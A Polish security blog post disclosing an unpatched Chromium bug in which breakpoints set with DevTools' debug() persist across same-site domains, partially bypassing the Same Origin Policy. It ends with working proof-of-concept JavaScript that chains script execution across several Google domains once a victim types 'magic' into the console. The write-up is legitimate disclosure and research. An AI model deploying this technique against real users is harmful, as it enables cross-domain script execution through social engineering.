Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Częściowe obejście Same Origin Policy w Chromium, czyli „Google Roulette”
Wyobraźcie sobie, że odwiedzasz jakąś stronę webową, np. developers.google.com
, która prosi o uruchomienie konsoli javascriptowej w przeglądarce i wykonanie w niej funkcji: magic()
. Czy zrobilibyście to?
Oczywiście ta funkcja może mieć dostęp do wszystkiego w ramach originu https://developers.google.com
, ale nie powinna mieć dostępu do danych z innych domen. A może jednak może?
W tej notce opisuję błąd, który zgłosiłem do Chromium, który dowodzi, że wpisanie kodu w konsoli JS może nieco szersze konsekwencje niż mogłoby się początkowo wydawać.
Odrobina tła
Wspomniany błąd ma numer #1069486, a zgłosiłem go w kwietniu 2020.
Na dzień 19 listopada 2022, błąd jest wciąż nienaprawiony, więc w zasadzie mówimy tutaj o 0-dayu. Dostałem jednak zgodę od ekipy Chromium, by błąd ujawnić. Poza tym, scenariusz ataku wymaga tutaj od ofiary wpisania kodu w konsoli JS, więc błąd nie jest łatwy w praktycznym wykorzystaniu.
Wciąż jednak mogą istnieć jakieś sposoby na dalszą eskalację błędu, których nie udało mi się znaleźć. Zachęcam, drodzy czytelnicy, do dalszych analiz 😃
Narzędzia w konsoli JS
Zacznijmy jednak od podstaw. Gdy wpisujemy jakiś kod w konsoli JS w przeglądarce, jest to mniej więcej równoznaczne z wykonaniem takiego samego kodu przez samą stronę www. Oznacza to, że z poziomu konsoli nie możemy złamać zasad Same Origin Policy czy innych fundamentalnych zasad bezpieczeństwa narzucanych przez przeglądarki.
Prawda jest jednak taka, że w konsoli JS można zrobić nieco więcej niż w „zwykłym” JS. Różnica tkwi w narzędziach konsolowych. Istnieje zestaw funkcji, które działają tylko i wyłącznie w konsoli, ale nie są dostępne dla „zwykłego” JS. Zobaczmy, co to znaczy.
Jako przykład weźmy funkcję $$
, która jest krótszą formą document.querySelectorAll
, dostępną tylko w konsoli.
Gdy spróbujemy wykonać ją z konsoli, funkcja po prostu działa.
Jednak gdy spróbujemy przygotować fragment HTML z tą funkcją, np.
<script>
$$("body");
</script>
To otrzymamy błąd ReferenceError
Myślę, że takie zachowanie jest oczekiwane. Można z niego wyciągnąć wniosek, że Chromium musi w jakiś sposób odróżniać, czy kod JS był uruchomiony z konsoli i na tej podstawie decyduje, czy pewne funkcje powinny być dostępne.
Zacząłem się zastanawiać, w jaki dokładnie sposób Chromium śledzi źródło wywołania funkcji. Wpadłem na pomysł, że utworzę tag <script>
zawierający referencję do $$
i zobaczę co się stanie, gdy wywołam tak utworzoną funkcję z konsoli.
Mam więc następujący HTML:
<script>
function magic() {
console.log($$);
}
</script>
W momencie wykonania magic()
z konsoli, mogłem sobie wyobrazić dwa zachowania Chromium:
- Funkcja wykona się normalnie – jako że wykonałem ją z konsoli, to referencja do
$$
istnieje. - Funkcja wyrzuci
ReferenceError
, bo referencja do$$
de facto znajduje się w kodzie w „normalnym” JS.
Okazało się, że Chromium zachowywało się w pierwszy z wymienionych sposobów.
Ten przykład dowodzi, że „zwykły” JavaScript może zawierać referencje do narzędzi konsolowych; i zostaną one wykonane, jeśli tylko ta funkcja zostanie wykonana z konsoli.
Takie zachowanie sprawiło, że zacząłem się zastanawiać nad scenariuszem z początku tej notki: zakładamy, że odwiedzamy pewną stronę, która prosi nas o wpisanie czegoś w konsoli. I czy ta konsolowa funkcja może zrobić coś złego?
Okazuje się, że: tak, może! A konkretniej funkcją, której użyję będzie debug()
.
Zanim jednak do niej przejdziemy, pomówmy o jeszcze jednym istotnym aspekcie implementacyjnym w Chromium: Site Isolation.
Site Isolation i ponowne użycie procesu
Site Isolation to jeden z najistotniejszych mechanizmów bezpieczeństwa wprowadzonych w Chromium w ostatnich latach, którego znaczenie wzrosło jeszcze bardziej po odkryciu podatności Spectre. Na oficjalnej stronie Chromium można znaleźć dobre podsumowanie tego mechanizmu, jego zalet oraz kompromisów jakich wymaga.
To co jest ważne w kontekście tego artykułu to fakt, że różne witryny (sites) są uruchamiane w różnych procesach. W najprostszym ujęciu można powiedzieć, że ta sama witryna jest wtedy, gdy dwie domeny mają tę samą główną domenę, a ew. różne poddomeny. Czyli np. admin.google.com
i test.google.com
to ta sama witryna (same site).
Tak więc o ile różne witryny są uruchamiane w różnych procesach, tak okazuje się, że różne domeny z tej samej witryny mogą zostać uruchomione w tym samym procesie.
Można to potwierdzić w następujący sposób:
- Uruchom menadżer zadań z Chrome.
- Wejdź na
https://support.google.com
i sprawdź jaki jest ID procesu (w przykładzie poniżej, jest to50476
).
3. W pasku adresu wpisz: https://workspace.google.com
4. Zauważ, że ID procesu się nie zmienia (w przykładzie, wciąż 50476
)
Widzimy więc, że pomimo faktu, że uruchomiliśmy dwie rożne domeny (ale w jednej witrynie), to pozostały one w tym samym procesie. To się przyda już niebawem.
Poznajmy debug()
debug()
to bardzo przydatne narzędzie w konsoli Chromium; używam go w trakcie szukania błędów bardzo często (choć to może być temat na inny tekst).
Ogólna idea jest taka, że używając debug()
możemy założyć breakpoint wywołany, gdy funkcja przekazana jako pierwszy argument zostanie wykonana. Drugi argument do debug()
jest opcjonalny i jest ciągiem znaków zawierającym kod JS z warunkiem logicznym – breakpoint zostanie zatrzymany, tylko jeśli ten kod zwróci wartość prawdziwą.
Poniższy fragment kodu wyjaśnia użycie debug()
:
function foobar(arg) {
/* ... */
}
// Przykład #1
debug(foobar); // breakpoint założony, gdy tylko `foobar()` zostanie wywołane
// Przykład #2
debug(foobar, 'arguments[0] === "test"'); // breakpoint założony, tylko gdy pierwszy argument będzie równy "test"
Charakterystyczną cechą debug()
jest to, że można też zestawiać breakpointy na wbudowanych funkcjach JS! Na przykład: chcecie zatrzymać kod w momencie wywołania document.appendChild
? debug()
przychodzi z pomocą!
debug(document.appendChild); // zatrzyma kod w momencie wywołania document.appendChild
Co ciekawe, można nadużyć drugiego argumentu do debug()
, by wywołać inną funkcję, bez wywoływania faktycznego breakpointu. Na przykład console.log()
zwraca undefined
, więc kod nie zostanie zatrzymany, ale dane zostaną zalogowane.
Na przykład spróbuj wejść na www.google.com
i wpisz poniższy kod w konsoli:
debug(document.appendChild, `console.log("appendChild called")`);
Gy wykonasz następnie jakiekolwiek wyszukiwanie, w konsoli pojawi się bardzo dużo komunikatów o wywołaniu appendChild
.
I teraz zaczyna się ta zaskakująca część. Po odświeżeniu strony komunikaty "appendChild called"
będą się nadal wyświetlać!
Takie zachowanie było dla mnie dość zaskakujące; założyłem wcześniej, że odświeżenie strony usunie wszystkie breakpointy i proces będzie „wyczyszczony”. Tak się jednak nie dzieje.
Na tym jednak nie koniec – wcześniej weryfikowaliśmy, że Chromium może uruchamiać dwie różne domeny w tym samym procesie, o ile są w tej samej witrynie, nawet jeśli są to inne domeny. Okazuje się, że jeśli ustawimy breakpoint w jednej domenie, a następnie przeniesiemy się do innej domeny (będąc w tym samym procesie), breakpoint nadal działa!
Na poniższym filmiku udowadniam to, wpisując najpierw kod w www.google.com
a po przekierowaniu do developers.google.com
on wciąż działa.
Takie zachowanie ma oczywiste skutki bezpieczeństwa: można wpisać kod w jednej domenie, a on wykona się w innej. Jest to więc ominięcie Same Origin Policy, choć ograniczone tylko do jednej witryny.
„Google Roulette”
Przejdźmy więc do tytułu tego postu, tj. „Google Roulette”. Był to mój pomysł na pokazanie skutków tej podatności. Zakładamy, że napastnik ma XSS-a w developers.google.com
i prosi o wpisanie w konsoli po prostu słowa magic
. I nagle – mamy XSS-a na wielu domenach Google! Pokazuje to poniższy filmik.
A oto kod:
function xss() {
if (window.__alerted__) return false;
// I could use more origins but you get the idea
const ORIGINS = [
"https://developers.google.com",
"https://www.google.com",
"https://support.google.com",
"https://careers.google.com",
"https://images.google.com",
"https://workspace.google.com",
"https://firebase.google.com",
];
alert(`XSS on ${origin}!`);
// Just redirect to the next origin from the list
const nextOrigin = ORIGINS[ORIGINS.indexOf(origin) + 1];
window.__alerted__ = 1;
if (!nextOrigin) return false;
location = nextOrigin;
return false;
}
window.__defineGetter__("magic", () => {
// Call xss() after document.appendChild is called
debug(document.appendChild, `(${xss})()`);
location.reload();
});
Wniosek
W artykule opisałem nienaprawiony błąd w Google Chrome, który pozwala na obejście Same Origin Policy w ramach jednej witryny. O ile skutki błędu są oczywiście poważne, o tyle jestem w stanie zrozumieć, że ekipie Chrome nie spieszy się z jego naprawą: wykorzystanie błędu wymaga wpisania kodu w konsoli DevTools, więc trudno ją wykorzystać w praktyce.
Niemniej, błąd nadal występuje i jest obecny w najnowszych wersjach Chromium.
— Michał Bentkowski